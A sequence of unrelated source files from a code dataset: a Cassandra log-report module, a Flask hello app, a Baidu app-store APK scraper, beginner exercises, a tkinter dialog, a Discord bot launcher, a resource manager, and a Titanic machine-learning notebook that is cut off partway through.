report.append(\"NOTE: Do top recommendation first.\")\n report.append(\"\")\n for rec in sorted_recs:\n # allows nodes to be tabbed out for a block look\n nodes_fmtd = humanize.format_list(rec[2], newline=\"\\n\" + \" \" * 17)\n report.append(\n \"* affects nodes: %s\\n reason: %s\\n fix: %s\"\n % (nodes_fmtd, rec[0], rec[1])\n )\n report.append(\"\")\n\n\nclass TimeSeries:\n def generate(self, parsed):\n \"\"\"generates a time series report for a tarball\"\"\"\n table = []\n table.append(\"\")\n table.append(\"filter cache evictions by hour\")\n table.append(\"------------------------------\")\n events_by_datetime = OrderedDefaultDict(list)\n start = dates.max_utc_time()\n end = dates.min_utc_time()\n for node, events in parsed[\"nodes\"].items():\n for info in events.get(\"evictions\"):\n # put into structure we can use for bucketize\n for value in info.values():\n if value.time_stamp > end:\n end = value.time_stamp\n if value.time_stamp < start:\n start = value.time_stamp\n events_by_datetime[value.time_stamp].append(value)\n buckets = sorted(\n util.bucketize(events_by_datetime, start, end, 3600).items(),\n key=lambda t: t[0],\n )\n maxval = len(max(buckets, key=lambda t: len(t[1]))[1])\n for time, matches in buckets:\n pad = \"\"\n for x in range(len(str(maxval)) - len(str(len(matches)))):\n pad += \" \"\n table.append(\n \"%s %s %s\"\n % (\n time.strftime(\"%Y-%m-%d %H:%M:%S\") + pad,\n len(matches),\n util.textbar(maxval, len(matches)),\n )\n )\n return \"\\n\".join(table)\n\n\nclass Summary:\n def generate(self, parsed):\n \"\"\"generates a report from the result of parsing a\n tarball or series of files\"\"\"\n calculated = self.calculate_report(parsed)\n report = []\n report.append(\"\")\n report.append(\n \"NOTE: as of version 0.3.13 all evictions with duration of 0 ms are deducted from the item eviction count and are not part of the eviction freq or duration calculations\"\n )\n report.append(\"\")\n if not calculated.get(\"start_log\"):\n report.append(\"start log: 'None'\")\n else:\n report.append(\n \"start log: '%s'\"\n % calculated.get(\"start_log\").strftime(dates.CASSANDRA_LOG_FORMAT)\n )\n if not calculated.get(\"last_log\"):\n report.append(\"end log: 'None'\")\n else:\n report.append(\n \"end log: '%s'\"\n % calculated.get(\"last_log\").strftime(dates.CASSANDRA_LOG_FORMAT)\n )\n report.append(\"\")\n node_info = calculated.get(\"node_info\", [])\n generate_recommendations(report, node_info)\n if not node_info:\n return \"\\nNo Logs Found For Processing\\n\"\n table = []\n table.append(\n [\n \"node\",\n \"Avg time between evictions\",\n \"Avg eviction duration\",\n \"Times (byte/item) limit reached\",\n \"Most recent limit (byte/item)\",\n \"Log duration\",\n ]\n )\n table.append(\n [\n \"----\",\n \"--------------------------\",\n \"---------------------\",\n \"-------------------------------\",\n \"-----------------------------\",\n \"------------\",\n ]\n )\n for node in node_info:\n limits = \"%i/%i\" % (node.byte_limit, node.item_limit)\n recent_limit = \"%s/%i\" % (\n humanize.format_bytes(node.last_byte_limit),\n node.last_item_limit,\n )\n table.append(\n [\n node.name,\n humanize.format_millis(node.avg_evict_freq),\n humanize.format_millis(node.avg_evict_duration),\n limits,\n recent_limit,\n humanize.format_millis(node.log_duration),\n ]\n )\n humanize.pad_table(table)\n for row in table:\n report.append(\" \".join(row))\n report.append(\"\") # provides empty line after last line\n return \"\\n\".join(report)\n\n def calculate_report(self, parsed):\n \"\"\"generates calculations\"\"\"\n start_log = dates.max_utc_time()\n last_log = dates.min_utc_time()\n # make this it's own method\n node_info_agg = []\n for node, events in parsed[\"nodes\"].items():\n node_end_time = events.get(\"end\")\n before_time = parsed[\"before_time\"]\n if before_time != dates.max_utc_time() and node_end_time > before_time:\n node_end_time = before_time\n if node_end_time > last_log:\n last_log = node_end_time\n node_start_time = events.get(\"start\")\n after_time = parsed[\"after_time\"]\n if after_time != dates.min_utc_time() and node_start_time < after_time:\n node_start_time = after_time\n if node_start_time < start_log:\n start_log = node_start_time\n log_duration = (node_end_time - node_start_time).total_seconds() * 1000\n first_node_evict = dates.max_utc_time()\n last_node_evict = dates.min_utc_time()\n for info in events.get(\"evictions\"):\n for value in info.values():\n if value.time_stamp > last_node_evict:\n last_node_evict = value.time_stamp\n if value.time_stamp < first_node_evict:\n first_node_evict = value.time_stamp\n if log_duration < 0:\n log_duration = 0\n node_info_agg.append(\n create_report_block(\n first_node_evict,\n last_node_evict,\n events.get(\"evictions\"),\n log_duration,\n node,\n )\n )\n node_info_agg = sorted(node_info_agg, key=attrgetter(\"name\"))\n node_info_agg = sorted(\n node_info_agg, key=attrgetter(\"avg_evict_duration\"), reverse=True\n )\n node_info_agg = sorted(node_info_agg, key=functools.cmp_to_key(sort_evict_freq))\n return OrderedDict(\n [\n (\"start_log\", start_log),\n (\"last_log\", last_log),\n (\"node_info\", node_info_agg),\n ]\n )\n","repo_name":"datastax-labs/sperf","sub_path":"pysper/search/filtercache.py","file_name":"filtercache.py","file_ext":"py","file_size_in_byte":15242,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"31"} +{"seq_id":"9047014050","text":"#!/usr/bin/python\nfrom flask import Flask, request, render_template\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route('/hello', methods=['POST', 'GET'])\ndef hello():\n return render_template('hello.html')\n\n@app.route('/hello_world', methods=['POST', 'GET'])\ndef hello_world():\n print(\"Hello World!\")\n return \"\"\n\nif __name__ == '__main__':\n app.run(debug=True, threaded=True,host='0.0.0.0')","repo_name":"LucaPaterlini/hello_flask","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31163217499","text":"# -*- coding:UTF-8 -*-\n\nimport urllib.request\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport tempfile\n\nclass Properties:\n\n def __init__(self, file_name):\n self.file_name = file_name\n self.properties = {}\n try:\n fopen = open(self.file_name, 'r')\n for line in fopen:\n line = line.strip()\n if line.find('=') > 0 and not line.startswith('#'):\n strs = line.split('=')\n self.properties[strs[0].strip()] = strs[1].strip()\n except Exception as e:\n raise e\n else:\n fopen.close()\n\n # 判断是否包含该key# while page_index < 21449005:\n def has_key(self, key):\n return key in self.properties\n\n # 根据key读取value\n def get(self, key, default_value=''):\n if self.has_key(key):\n return self.properties[key]\n return default_value\n\n # 修改/添加key=value\n def put(self, key, value):\n self.properties[key] = value\n replace_property(self.file_name, key + '=.*', key + '=' + value, True)\n\ndef parse(file_name):\n return Properties(file_name)\n\n\ndef replace_property(file_name, from_regex, to_str, append_on_not_exists=True):\n file = tempfile.TemporaryFile(mode='w+t',encoding='utf-8') #创建临时文件\n\n if os.path.exists(file_name):\n r_open = open(file_name,'r')\n pattern = re.compile(r'' + from_regex)\n found = None\n for line in r_open: #读取原文件\n if pattern.search(line) and not line.strip().startswith('#'):\n found = True\n line = re.sub(from_regex, to_str, line)\n file.write(line) #写入临时文件\n if not found and append_on_not_exists:\n file.write('\\n' + to_str)\n r_open.close()\n file.seek(0)\n\n content = file.read() #读取临时文件中的所有内容\n\n if os.path.exists(file_name):\n os.remove(file_name)\n\n w_open = open(file_name,'w')\n w_open.write(str(content)) #将临时文件中的内容写入原文件\n w_open.close()\n\n file.close() #关闭临时文件,同时也会自动删掉临时文件\n else:\n print(\"file %s not found\" % file_name)\n\nweb_header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}\n\nif __name__ == '__main__':\n file_path = '../properties/page_index.properties'\n props = parse(file_path) #读取文件\n if not props.has_key('page_index'):\n print('read page_index error')\n exit(-1)\n page_index = ''\n try:\n page_index = int(props.properties.get('page_index'))\n except:\n print(\"convert string type(page_index) into int error\")\n exit(-1)\n\n # os.mkdir('doubanimages')\n print('spider starting work from ' + str(page_index))\n while page_index < 101622374:\n # 百度手机助手\n # http://shouji.baidu.com/software/11537454.html\n pageUrl = 'http://shouji.baidu.com/software/' + str(page_index) + '.html'\n try:\n page_req = urllib.request.Request(url=pageUrl, headers=web_header)\n page_file = urllib.request.urlopen(page_req)\n page_data = page_file.read().decode('utf-8')\n page_soup = BeautifulSoup(page_data, 'html.parser')\n # 下载链接\n tag_div_download = page_soup.find('div', {'class': 'area-download'})\n tag_a_download = tag_div_download.find('a',{'class': 'apk'})\n download_url = tag_a_download['href']\n if download_url is '':\n print(str(page_index) + 'ignore')\n page_index += 1\n continue\n # app名称\n tag_h1_app_name = page_soup.find('h1',{'class': 'app-name'})\n tag_span_app_name = tag_h1_app_name.find('span')\n app_name = tag_span_app_name.get_text()\n # app类型\n tag_a_list_app_type = page_soup.findAll('a',{'target': '_self'})\n tag_a_app_type = tag_a_list_app_type[2]\n app_type = tag_a_app_type.get_text()\n # app评分\n tag_span_app_score = page_soup.find('span',{'class': 'star-percent'})\n tag_span_style_app_score = tag_span_app_score['style']\n app_score = tag_span_style_app_score[6:-1]\n # app特色\n tag_span_app_features = page_soup.findAll('span', {'class': 'app-feature-detail'})\n tag_span_list_app_features = tag_span_app_features[0].findAll('span', {'class': 'res-tag-ok'})\n app_features = ''\n for tag_span_app_feature in tag_span_list_app_features:\n if tag_span_app_feature.get_text() == '\\n' or tag_span_app_feature.get_text() == '':\n continue\n app_features += tag_span_app_feature.get_text().replace('\\n','') + ','\n app_features = app_features[0:-1]\n # app介绍\n tag_div_app_introduction = page_soup.find('div', {'class': 'introduction'})\n tag_p_app_introduction = tag_div_app_introduction.find('p', {'class': 'content'})\n app_introduction = tag_p_app_introduction.get_text()\n # app下载次数\n tag_span_app_download_num = page_soup.find('span', {'class': 'download-num'})\n app_download_num = tag_span_app_download_num.get_text()\n\n # app_all_info\n app_all_info = 'index:' + str(page_index) + '\\n app_name:'+ app_name + '\\n app_type:' + app_type + '\\n app_score:' + app_score + '\\n app_download_num:' + app_download_num + '\\n app_features:' + app_features + '\\n app_introduction:' + app_introduction + ', download_url:' + download_url\n # print(app_all_info)\n try:\n time.sleep(1)\n print(time.strftime(\"%H:%M:%S \") + 'downloading: ' + str(page_index))\n req = urllib.request.Request(download_url, headers=web_header)\n webPage = urllib.request.urlopen(req, timeout=10)\n data = webPage.read()\n file = open('../apks/' + str(page_index) + '.apk', \"wb\")\n file.write(data)\n info = open('../apks/app_info_'+str(page_index), \"wb\")\n info.write(bytes(app_all_info,\"utf-8\"))\n page_index += 1\n except:\n print('download ' + str(page_index) + ' apk file error')\n finally:\n file.flush()\n file.close()\n info.flush()\n info.close()\n page_index += 1\n except:\n props.put('page_index', str(page_index))\n finally:\n page_index += 1\n\n props.put('page_index', str(page_index))\n","repo_name":"revolyw/wheel-lib","sub_path":"python/apk-spider/spider/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42090411843","text":"\"\"\"\nFaça um Programa que leia um número inteiro maior que 0 e menor que 1000 e\nimprima a quantidade de centenas, dezenas e unidades do mesmo.\nObservando os termos no plural a colocação do \"e\", da vírgula entre outros.\nExemplo:\n326 = 3 centenas, 2 dezenas e 6 unidades\n12 = 1 dezena e 2 unidades\nTestar com:\n1, 7, 10, 11, 16, 20, 21, 25, 100, 101, 111, 300, 301, 305, 310, 311, 320, 326\n\"\"\"\n\nnumero = int(input('Digite um numero inteiro positivo entre 1 e 999: '))\n\n# 1-) identicar valor da unidade.\nunidade = numero % 10 \n\n\"\"\"\nO operador % é o módulo de divisão. \nExemplo: 11 % 3 = 2 --------- Se dividirmos 11 unidades em 3 grupos com a mesma quantidade entre si, teremos 3 grupos com 3 unidades; e 2 de resto.\n Com o operador %, conseguimos identificar o valor do resto da divisão. \n\"\"\"\n\n# 2-) Atualizar número que ainda será trabalhado.\nnumero = (numero - unidade)/10\n\n\"\"\"\nApós identificarmos o valor da unidade, devemos retira-lo para encontrar a dezena e centena.\nExemplo: 99 \n 99 % 10 = 9 unidades \n 99 - 9 = 90\nNote que ocorreu uma divisão por 10. Dessa forma, já sabemos que quantas dezenas nosso número tem.\n90 / 10 = 9 dezenas\nMas, em números maiores que 99, ocorre um problema, pois o código não identifica centena. \nExemplo: 587\n 587 % 10 = 7 unidades \n 587 -7 = 580 \n 58 / 10 = 58 dezenas \n\"\"\"\n\n# Extraindo a dezena\ndezena = numero % 10\n\n\"\"\"\nPara resolver o problema, \nExemplo: 587\n 587 % 10 = 7 unidades \n 587 -7 = 580 \n 58 / 10 = 58 \n 58 % 10 = 8 dezenas\n\"\"\"\n\n# Eliminando a dezena do número original, fica a centena\ncentena = (numero - dezena)/10\n\n\"\"\"\nMomento de identificar a quantidade de centenas.\nExemplo: 587\n 587 % 10 = 7 unidades \n 587 -7 = 580 \n 58 / 10 = 58 \n 58 % 10 = 8 dezenas\n 58 - 8 = 50\nAté ponto, encontramos a quantidade de dezenas. Basta dividir por 10 e teremos o número de centenas.\n 50 / 10 = 5 centenas\n\"\"\"\n\nprint(f\"{centena:.0f} centena(s),', {dezena:.0f} 'dezena(s)' e {unidade:.0f} 'unidade(s)'.\")","repo_name":"JoaoLuizDev/exercicios-python","sub_path":"wiki python/resolucoes/037 - comentado.py","file_name":"037 - comentado.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"38099517002","text":"# 129. 求根到叶子节点数字之和\n# 给定一个二叉树,它的每个结点都存放一个 0-9 的数字,每条从根到叶子节点的路径都代表一个数字。\n# 例如,从根到叶子节点路径 1->2->3 代表数字 123。\n# 计算从根到叶子节点生成的所有数字之和。\n# 说明: 叶子节点是指没有子节点的节点。\n# 示例 1:\n# 输入: [1,2,3]\n# 1\n# / \\\n# 2 3\n# 输出: 25\n# 解释:\n# 从根到叶子节点路径 1->2 代表数字 12.\n# 从根到叶子节点路径 1->3 代表数字 13.\n# 因此,数字总和 = 12 + 13 = 25.\n# 示例 2:\n# 输入: [4,9,0,5,1]\n# 4\n# / \\\n# 9 0\n# / \\\n# 5 1\n# 输出: 1026\n# 解释:\n# 从根到叶子节点路径 4->9->5 代表数字 495.\n# 从根到叶子节点路径 4->9->1 代表数字 491.\n# 从根到叶子节点路径 4->0 代表数字 40.\n# 因此,数字总和 = 495 + 491 + 40 = 1026.\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\ndef sumNumbers(root):\n quene = [root]\n res = []\n while quene:\n q = quene.pop(0)\n if q.left:\n q.left.val += q.val * 10\n quene.append(q.left)\n if q.right:\n q.right.val += q.val *10\n quene.append(q.right)\n if not q.left and not q.right:\n res.append(q.val)\n s = 0\n for r in res:\n s += r\n return s\n\n\n\n\n# class Solution: DFS\n# def sumNumbers(self, root: TreeNode) -> int:\n# def dfs(root: TreeNode, prevTotal: int) -> int:\n# if not root:\n# return 0\n# total = prevTotal * 10 + root.val\n# if not root.left and not root.right:\n# return total\n# else:\n# return dfs(root.left, total) + dfs(root.right, total)\n#\n# return dfs(root, 0)\n#\n# 作者:LeetCode-Solution\n# 链接:https://leetcode-cn.com/problems/sum-root-to-leaf-numbers/solution/qiu-gen-dao-xie-zi-jie-dian-shu-zi-zhi-he-by-leetc/\n# 来源:力扣(LeetCode)\n# 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n\n\n\n\n","repo_name":"wulalala17/leetcode","sub_path":"leetcode/2020/October/129sumNumbers.py","file_name":"129sumNumbers.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"33747592042","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkcalendar import DateEntry\r\n\r\nfrom windows.basic_window import BasicWindow\r\nfrom windows.download_window import DownloadWindow\r\n\r\n\r\nclass DateSelectWindow(BasicWindow):\r\n \"\"\"A window to select a date to download files from.\"\"\"\r\n\r\n def __init__(self, parent):\r\n super().__init__(parent, title=\"Select Date\")\r\n\r\n # Frame for date selection\r\n self.frm_dates = ttk.Frame(self.frm_contents)\r\n self.frm_dates.grid(row=0, column=0, padx=10, pady=10, sticky=EW)\r\n\r\n # Label for date\r\n self.lbl_date = ttk.Label(self.frm_dates, text=\"Download files from:\")\r\n self.lbl_date.grid(row=0, column=0, padx=5, pady=5, sticky=W)\r\n\r\n # Entry for date\r\n # Can only be changed using the calendar drop down\r\n self.selected_date = StringVar()\r\n self.ent_date = DateEntry(self.frm_dates, state=\"readonly\",\r\n date_pattern=\"yyyy-mm-dd\",\r\n textvariable=self.selected_date)\r\n self.ent_date.grid(row=1, column=0, padx=5, pady=5, sticky=W)\r\n\r\n # Frame for OK and cancel buttons\r\n self.frm_buttons = ttk.Frame(self.frm_contents)\r\n self.frm_buttons.grid(row=1, column=0, padx=5, pady=5, sticky=E)\r\n\r\n # Cancel button: close the window without doing anything\r\n self.btn_cancel = ttk.Button(self.frm_buttons, text=\"Cancel\",\r\n command=self.destroy)\r\n self.btn_cancel.grid(row=0, column=0, padx=5, pady=5)\r\n\r\n # OK button: proceed to downloading from the selected date\r\n self.btn_ok = ttk.Button(self.frm_buttons, text=\"OK\", default=ACTIVE,\r\n command=self.open_download_window)\r\n self.btn_ok.grid(row=0, column=1, padx=5, pady=5)\r\n\r\n def open_download_window(self):\r\n \"\"\"Attempt to download the files from the selected date.\"\"\"\r\n\r\n window_download = DownloadWindow(self.master)\r\n window_download.grab_set()\r\n self.destroy()\r\n\r\n\r\n# For testing just this window\r\n# (will not run when the module is imported)\r\nif __name__ == \"__main__\":\r\n root = Tk()\r\n root.withdraw()\r\n window_date_select = DateSelectWindow(root)\r\n window_date_select.protocol(\"WM_DELETE_WINDOW\",\r\n window_date_select.master.destroy)\r\n root.mainloop()\r\n","repo_name":"OliverM1/group4","sub_path":"code_files/windows/date_select_window.py","file_name":"date_select_window.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27617706211","text":"#!/usr/bin/env python3\n\nfrom discord.ext import tasks\nfrom pathlib import Path\nimport asyncio\nimport dotenv\nimport gamble\nimport data\nimport time\nimport log\nimport os\n\ndef main():\n\t# Must setup bath for data handler so it can locate data files\n\t_project_root = Path(os.path.abspath(__file__)).parent.parent.__str__()\n\tdata.DataHandler._data_root = os.path.join(_project_root, \"data\")\n\tlog.LogHandler._log_root = os.path.join(_project_root, \"logs\")\n\n\t# Make sure the folders exist\n\tos.makedirs(os.path.join(_project_root, \"data\", \"users\"), 0o744, True)\n\tos.makedirs(os.path.join(_project_root, \"data\", \"guilds\"), 0o744, True)\n\tos.makedirs(os.path.join(_project_root, \"logs\"), 0o744, True)\n\n\tdotenv.load_dotenv()\n\tbot = gamble.GambleBot()\n\n\t@tasks.loop()\n\tasync def cache_cleanup():\n\t\tpurge_time = 600\n\t\twait_time = 60\n\n\t\tawait asyncio.sleep(10)\n\n\t\twhile True:\n\t\t\tnow = int(time.time())\n\t\t\tfor cache_name in list(bot.data._cache.keys()):\n\t\t\t\tfor object_id in list(bot.data._cache[cache_name].keys()):\n\t\t\t\t\tif bot.data._cache[cache_name][object_id][\"last_access\"] + purge_time < now:\n\t\t\t\t\t\tdel bot.data._cache[cache_name][object_id]\n\n\t\t\tfor user_id in list(bot.command_handler.rate_limit.keys()):\n\t\t\t\tif bot.command_handler.rate_limit[user_id] + purge_time < now and not bot.command_handler.rate_limit_locks[user_id].locked():\n\t\t\t\t\tdel bot.command_handler.rate_limit[user_id]\n\t\t\t\t\tdel bot.command_handler.rate_limit_locks[user_id]\n\n\t\t\tawait asyncio.sleep(wait_time)\n\n\tcache_cleanup.start()\n\n\tbot.run(os.getenv(\"ClientSecret\"))\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"5Dev24/GambleBot","sub_path":"src/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39726394116","text":"# 执行机构:At home at college\n# 出 品 人:🌫⭐※\n# 开发时间:2021/5/24 20:42\nmoney=1000 #余额\ns=int(input(\"请输入取款金额\"))\n#判断余额是否充足\nif money>=s:\n money=money-s\n print(\"取款成功,余额为\",money)\nelse:\n print(\"余额不足\")\n\n","repo_name":"Wvvw125/XML_ROOT_SS.py","sub_path":"学习课程/chap3/demo_IF.py","file_name":"demo_IF.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38079923034","text":"from ExceptionAndDebug.exception import *\nfrom copy import deepcopy\n\n\n\nclass Register:\n next_id = 0\n\n def __init__(self, proc_id, reg_id, scope_info: list, first_child_index: tuple):\n self.proc_id = proc_id\n self.local_id = reg_id\n self.scope_info = deepcopy(scope_info) # scope_info: [iter_id1, iter_id2]\n if len(scope_info) == 0:\n self.value = None\n elif first_child_index != ():\n self.value = {first_child_index: None}\n else:\n self.value = dict()\n # format:{(iter_value1, iter_value2): AGIObject,\n # (iter_value1, iter_value2): AGIObject}\n self.id = Register.next_id\n Register.next_id += 1\n\n def set_value(self, child_index: tuple, value):\n if child_index == ():\n if self.value is not None:\n raise AGIException(2)\n self.value = deepcopy(value)\n else:\n if child_index not in self.value:\n raise AGIException(2)\n self.value[child_index] = deepcopy(value)\n\n '''\n def get_value(self, child_index: None or list) -> AGIObject or int:\n if child_index is None or child_index == []:\n return self.value\n else:\n for child_value in self.value:\n if child_value[0] == child_index:\n return child_value[1]\n raise AGIException(3)\n '''\n\n\nclass Iterator:\n next_id = 0\n\n def __init__(self, proc_id, iter_id, start_value):\n self.proc_id = proc_id\n self.local_id = iter_id\n self.value = start_value\n self.id = Iterator.next_id\n Iterator.next_id += 1\n\n\nclass ResourceManager:\n def __init__(self):\n self.registers = dict()\n self.iterators = dict()\n\n def start_process(self, proc_id):\n assert proc_id not in self.registers\n assert proc_id not in self.iterators\n self.registers.update({proc_id: []})\n self.iterators.update({proc_id: []})\n '''\n print('Process started')\n print(proc_id)\n print(self.registers)\n print(self.iterators)\n '''\n\n def has_reg(self, proc_id, reg_id, child_index: tuple):\n if proc_id not in self.registers:\n return False\n for register in self.registers[proc_id]:\n if register.local_id == reg_id \\\n and (child_index == () or child_index in register.value):\n return True\n return False\n\n def create_reg(self, proc_id, reg_id, scope_info: list, child_index: tuple): # the reg_id should be local id\n assert proc_id in self.registers\n for register in self.registers[proc_id]:\n if register.local_id == reg_id: # if this is true, means that register has children\n if register.scope_info != scope_info:\n raise AGIException(24)\n if child_index in register.value:\n raise AGIException(25)\n register.value.update({child_index: None})\n return\n # if none of the registers match in the parent level:\n self.registers[proc_id].append(Register(proc_id, reg_id, scope_info, child_index))\n\n def create_iterator(self, proc_id, iter_id, start_value):\n assert proc_id in self.iterators\n self.iterators[proc_id].append(Iterator(proc_id, iter_id, start_value))\n\n def update_iterator(self, proc_id, iter_id):\n for iterator in self.iterators[proc_id]:\n if iterator.local_id == iter_id:\n iterator.value += 1\n return\n assert False\n\n def destroy_iterator(self, proc_id, iter_id):\n for i, iterator in enumerate(self.iterators[proc_id]):\n if iterator.local_id == iter_id:\n self.iterators[proc_id].pop(i)\n return\n assert False\n\n def get_iterator_value(self, proc_id, iter_id):\n for iterator in self.iterators[proc_id]:\n if iterator.local_id == iter_id:\n return iterator.value\n raise AGIException(14)\n\n def set_reg_value(self, proc_id, reg_id, child_index: tuple, value):\n for register in self.registers[proc_id]:\n if register.local_id == reg_id:\n register.set_value(child_index, value)\n\n \"\"\"\n def set_reg(self, proc_id, reg_id, child_index: None or list, value: AGIObject or int):\n for register in self.registers:\n if register.proc_id == proc_id and register.local_id == reg_id:\n register.set_value(child_index, value)\n \"\"\"\n\n def get_reg_value(self, proc_id, reg_id, child_index: tuple):\n for register in self.registers[proc_id]:\n if register.local_id == reg_id:\n if child_index == ():\n if register.value is None:\n raise AGIException('reg\\'s value is none')\n return register.value\n else:\n if child_index not in register.value:\n raise AGIException('child_index is not in register.value')\n if register.value[child_index] is None:\n raise AGIException('reg\\'s value is none')\n return register.value[child_index]\n raise AGIException(5)\n\n def get_reg(self, proc_id, reg_id) -> Register:\n for register in self.registers[proc_id]:\n if register.local_id == reg_id:\n return register\n raise AGIException(5)\n\n def free_resource(self, proc_id):\n \"\"\"\n print('before freeing resource')\n print(self.registers)\n print(self.iterators)\n \"\"\"\n self.registers.pop(proc_id)\n self.iterators.pop(proc_id)\n '''\n print('resource freed!')\n print(proc_id)\n print(self.registers)\n print(self.iterators)\n '''","repo_name":"LuoZheng2002/AGI","sub_path":"Kernel/KernelRsc/resource_manager.py","file_name":"resource_manager.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"36802127475","text":"\n# coding: utf-8\n\n# # Data Visualization and Machine Learning on Titanic dataset\n# \n# For this notebook we will be working with the Titanic Data Set from Kaggle. This is a very famous data set.\n# \n# We'll be trying visualize it and trying to predict a classification- survival or deceased.\n\n# In[33]:\n\n\n#importing the libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().magic('matplotlib inline')\n\n\n# In[34]:\n\n\n#importing the dataset\ntitanic = pd.read_csv(\"train.csv\")\n\n\n# In[35]:\n\n\n#Let's see preview of the dataset\ntitanic.head()\n\n\n# In[36]:\n\n\n#getting overall info about the dataset\ntitanic.info()\n\n\n# We can use seaborn to create a simple heatmap to see where we are missing data!\n\n# In[37]:\n\n\nsns.heatmap(titanic.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n\n\n# Roughly 20 percent of the Age data is missing. The proportion of Age missing is likely small enough for reasonable replacement with some form of imputation. Looking at the Cabin column, it looks like we are just missing too much of that data to do something useful with at a basic level.\n\n# In[38]:\n\n\n#people who survived v/s who didn't\n\nsns.set_style('whitegrid')\nsns.countplot(x='Survived', data= titanic, palette='RdBu_r')\n\n\n# In[39]:\n\n\nsns.countplot(x='Survived', hue='Sex', data= titanic, palette='RdBu_r')\n\n\n# In[40]:\n\n\nsns.countplot(x='Survived', hue='Pclass', data= titanic, palette='rainbow')\n\n\n# In[41]:\n\n\n#looking at the description of the dataset\ntitanic.describe()\n\n\n# In[42]:\n\n\nsns.distplot(titanic['Age'].dropna(),color='darkred',bins=30)\n\n\n# The distribution plot for age is slightly right skewed. There is not much problem of outliers as such.\n\n# In[43]:\n\n\ntitanic['Fare'].hist(color='green',bins=40,figsize=(8,4))\n\n\n# We have a few outliers in the fare section. We can ignore them while training our model\n\n# ## Data Cleaning\n\n# Lets fill in the missing values of the age column. We can do this by taking mean of the age. Smarter way will be to fill in the missing blanks with the mean of the Pclass they belong too.\n\n# In[44]:\n\n\nplt.figure(figsize=(12, 7))\nsns.boxplot(x='Pclass',y='Age',data=titanic,palette='winter')\n\n\n# We can see the wealthier passengers in the higher classes tend to be older, which makes sense. We'll use these average age values to impute based on Pclass for Age.\n\n# In[45]:\n\n\ndef impute_age(cols):\n Age = cols[0]\n Pclass = cols[1]\n \n if pd.isnull(Age):\n \n if Pclass == 1:\n return 37\n elif Pclass == 2:\n return 29\n else:\n return 24\n else:\n return Age\n\n\n# In[46]:\n\n\ntitanic['Age'] = titanic[['Age', 'Pclass']].apply(impute_age, axis = 1)\n\n\n# Let's check the heatmap again\n\n# In[47]:\n\n\nsns.heatmap(titanic.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n\n\n# Let's go ahead and give 1 tag to value with valid Cabin no. and 0 tag to value with NaN.\n\n# In[50]:\n\n\ndef impute_cabin(col):\n \n Cabin = col[0]\n \n if type(Cabin) == str:\n return 1\n else:\n return 0\n\n\n# In[51]:\n\n\ntitanic['Cabin'] = titanic[['Cabin']].apply(impute_cabin, axis = 1)\n\n\n# Let's check the heatmap again\n\n# In[52]:\n\n\nsns.heatmap(titanic.isnull(), yticklabels=False, cbar=False, cmap='viridis')\n\n\n# In[53]:\n\n\ntitanic.head()\n\n\n# In[55]:\n\n\ntitanic.dropna(inplace=True)\n\n\n# We'll need to convert categorical features to dummy variables using pandas! Otherwise our machine learning algorithm won't be able to directly take in those features as inputs.\n\n# In[57]:\n\n\ntitanic.info()\n\n\n# In[60]:\n\n\n#Let's work on a copy of our present dataset for further operations\n\ndataset = titanic\n\n\n# In[61]:\n\n\nsex = pd.get_dummies(dataset['Sex'],drop_first=True)\nembark = pd.get_dummies(dataset['Embarked'],drop_first=True)\n\ndataset.drop(['Sex','Embarked','Name','Ticket'],axis=1,inplace=True)\n\ndataset = pd.concat([dataset,sex,embark],axis=1)\n\n\n# In[62]:\n\n\ndataset.head()\n\n\n# ## Building regression models\n# \n# Let's start by splitting our data into a training set and test set\n\n# In[63]:\n\n\n#Train Test Split\n\nfrom sklearn.model_selection import train_test_split\n\n\n# In[64]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(dataset.drop('Survived',axis=1), \n dataset['Survived'], test_size=0.25, \n random_state=101)\n\n\n# ## Training and Predicting\n\n# In[65]:\n\n\nfrom sklearn.linear_model import LogisticRegression\n\n\n# **Using Logistic Regression**\n\n# In[66]:\n\n\nregressor = LogisticRegression()\nregressor.fit(X_train, y_train)\n\n\n# In[67]:\n\n\npred = regressor.predict(X_test)\n\n\n# ### Let's evaluate\n\n# In[68]:\n\n\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score, log_loss\n\n\n# In[70]:\n\n\nprint(classification_report(y_test, pred))\nprint('\\n')\nprint(confusion_matrix(y_test, pred))\nprint('\\n')\nprint(accuracy_score(y_test, pred))\n\n\n# **Using SVM**\n\n# In[71]:\n\n\nfrom sklearn.svm import SVC\n\n\n# 